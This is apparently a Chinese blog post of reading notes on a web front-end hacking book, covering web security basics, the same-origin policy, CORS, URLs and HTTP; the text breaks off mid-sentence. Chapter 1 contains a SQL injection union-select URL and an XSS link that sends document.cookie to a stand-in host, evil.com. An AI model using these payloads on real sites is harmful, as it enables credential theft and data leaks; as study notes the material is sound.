Web前端黑客技术揭秘{笔记}

前些日子看完了白帽子讲Web安全,当时就PHP安全一章做了点小笔记,感觉看书还是留下点东西比较好。翻开Web前端黑客技术揭秘一书决定要做笔记,但是这样下来其实进度就比较慢了,敲字做笔记绝对远比看书来的慢。有时候上午看完的内容做笔记时要花一天时间,一方面是要敲字,另一方面是自己只从书上摘录部分内容有时候需要将其串起来,还有就是碰上自己想发两句言也会拖慢进度。总之现在书是看完了,要消化的东西有挺多的,这也是做笔记的原因之一,如果不留下点什么,感觉就和阅后及焚差没多少。

以下笔记内容遍布全书各个章节,其中二到六章内容会多点,实际上第二章和第六章不仅篇幅较多,个人也觉得还是全书最重要的两章。第二章的内容是前端基础,基础抓好了才能做好后面的事。第六章讲漏洞挖掘,我们之所以能利用某个漏洞进行攻击,首先是因为发现了漏洞,而漏洞是不会自己站出来的,要靠我们去挖掘。其他章节也很重要,它们是整体的一部分,第七章起就偏向具体的场景分析或利用了,因此做的笔记在这方面也比较干涩,甚至连我本人都觉得有点难为情,不过怎么说呢,这部分虽然不讨人喜欢但是少了它笔记下来就是残缺的了,还是善始善终吧。

 

第一章 Web安全的关键点  #本章分为三小节,第一节数据与指令,第二节浏览器同源策略,第三节信任与信任关系

数据与指令:
现有的操作系统和各种软件应用都存在漏洞,这一方面是在代码编写等方面存在缺陷,还有一方面也不容忽视。现代计算机都是遵循着冯诺依曼设计计算机时的体系架构,在设计这个架构时并没有考虑到现今会面临的各种安全问题,因此其缺陷一直流传至今:代码与数据没有进行分离。这也是为什么在Web领域能发生SQL注入,XSS跨站脚本等攻击

书上举了两个例子,一个是SQL注入,另一个是XSS攻击
现在假设我要访问www.foo.com/user.php?id=1,这个链接会对id=1进行查询,再假设这条查询语句在数据库中为:select usernme,email,descl from users where id=1,普通用户会中规中矩的输入上面这个链接,而攻击者却会尝试更多的操作,例如:www.foo.com/user.php?id=1 union select password,1,1 from users,经典的union查询,获取union表的password。如果不知道users表有几列,可以构造union select 1,2或union select 1,2,3,4这样的语句,根据返回信息判断有数据表几列。另外这个链接如果不加处理,很容易根据id值进行遍历,这样就可以获得大量的用户名和邮箱,导致用户信息泄露

再看如果现在在www.foo.com/info.html文件中插入了如下代码:然后构造如下链接:www.foo.com/info.html#new%20Image().src="http://www.evil.com/good.php?c="+escape(document.cookie)如果访问了该链接,代码就会执行eval('newImage().src="http://www.evil.com/good.php?c="+escape(document.cookie)'),再然后就是cookie被盗了
那么为什么会这样呢?原因在于location.hash获取的是链接中#及之后的内容,加上substr(1)就变成了#之后的内容,放在eval函数里面,这些东西就会得到执行了

浏览器同源策略:
    同源其实指的就是同域,相同的协议,相同的域名和相同的端口,三点中任何一个不满足都不是同源的,即在没有明确授权的情况下不能访问对方资源
    
    有时候需要对某个站点的访问进行授权,可以这样: Access-Control-Allow-Origin:http://www.test.com
    有些程序员为了偷懒,将其设置为Access-Control-Allow-Origin:*,使用通配符是一件极其危险的事情,这意味着任何站点都可以访问你的资源,这样下来同源策略形   同虚设,就像你家里的大门随时敞开但没有人守一样
    
信任与信任关系:
    安全本质上来说是围绕信任进行的,白帽子一书中作者也提到安全的本质就是信任的问题,直接说信任比较抽象,如果理解为认证、许可及权限,我是否相信你,能让你做   哪些事情就好理解多了

 

第二章 前端基础
    #前端基础讲述Web前端一些基础部分,当然略过了语法函数这样更基础的东西。一共有7节,重点的Web技术在后三节,javascript、css、actionscript各占一节,前面的东西也重要,更多的是做一些http方面的科普工作。
    
    0X1    标准的制定者
    无论浏览器、网站还是Web应用都会遵循某些标准。尽管少数标准没有得到所有浏览器等厂商的严格支持,但这些标准不同于法规,你可以走灰色地带,但是不能违背   它,制定标准的就是W3C。
    
    0X2 URL
    URL是URI的子集,通常情况下我们将URL等同于URI,其格式为::///?#
    这里就是某个协议如:http,https,#表示页面不跳转,仍然在当前页面的某个地方,通常为源代码中的某个id的值,当然也可以是用户自己构成的值
    
    URL有三类编码方式:escape、encodeURI、encodeURIComponent,对应着三个解码函数unescape、decodeURI、decodeURIComponent
    
    0X3 HTTP协议
    平时浏览网页,基本用的都是http协议,默认端口为80,它是一种无状态请求响应,即如果你刚才登陆了某个论坛,但是论坛服务器却不知道你有没有登陆,这更像一个患了老年痴呆的人总记不得自己有没有吃饭。为了改善用户体验,Cookie被发明了出来,Cookie可以作为一种记录用户登陆信息的凭证,既可以保存在内存中,也可以保存在本地,至于cookie的安全问题,那就是题外话了。
    对于Web前端来说,深入理解HTTP很重要,书上给出了一些常用的信息,但在实践中要用到的远不止这些,例如:X-Forworded-For:。如果仅仅是日常使用,那么找两篇讲HTTP协议的文章看看,自己稍微积累就可以了。若是想对HTTP有个更深入的了解,可以看看《HTTP权威指南》,这本书英文原版出版于十几年前,十几年的时间里经历了从Web1.0到Web2.0的变化,但是HTTP协议里那些基本的东西仍然在使用,就像C语言、C++现在用的标准和十几年前没多大区别一样。
    
    0X4 HTML世界
    HTML代码可以转为DOM树,就如做代码漏洞扫描可以先将其转为XML中间层一样,按照标签出现的关系和顺序来排列,夹杂在标签中的内容则作为其子项
    
    内嵌标签在HTML中是再常见不过的事情了,、也是标签,不过不是这里提到的内嵌标签。比较常见的是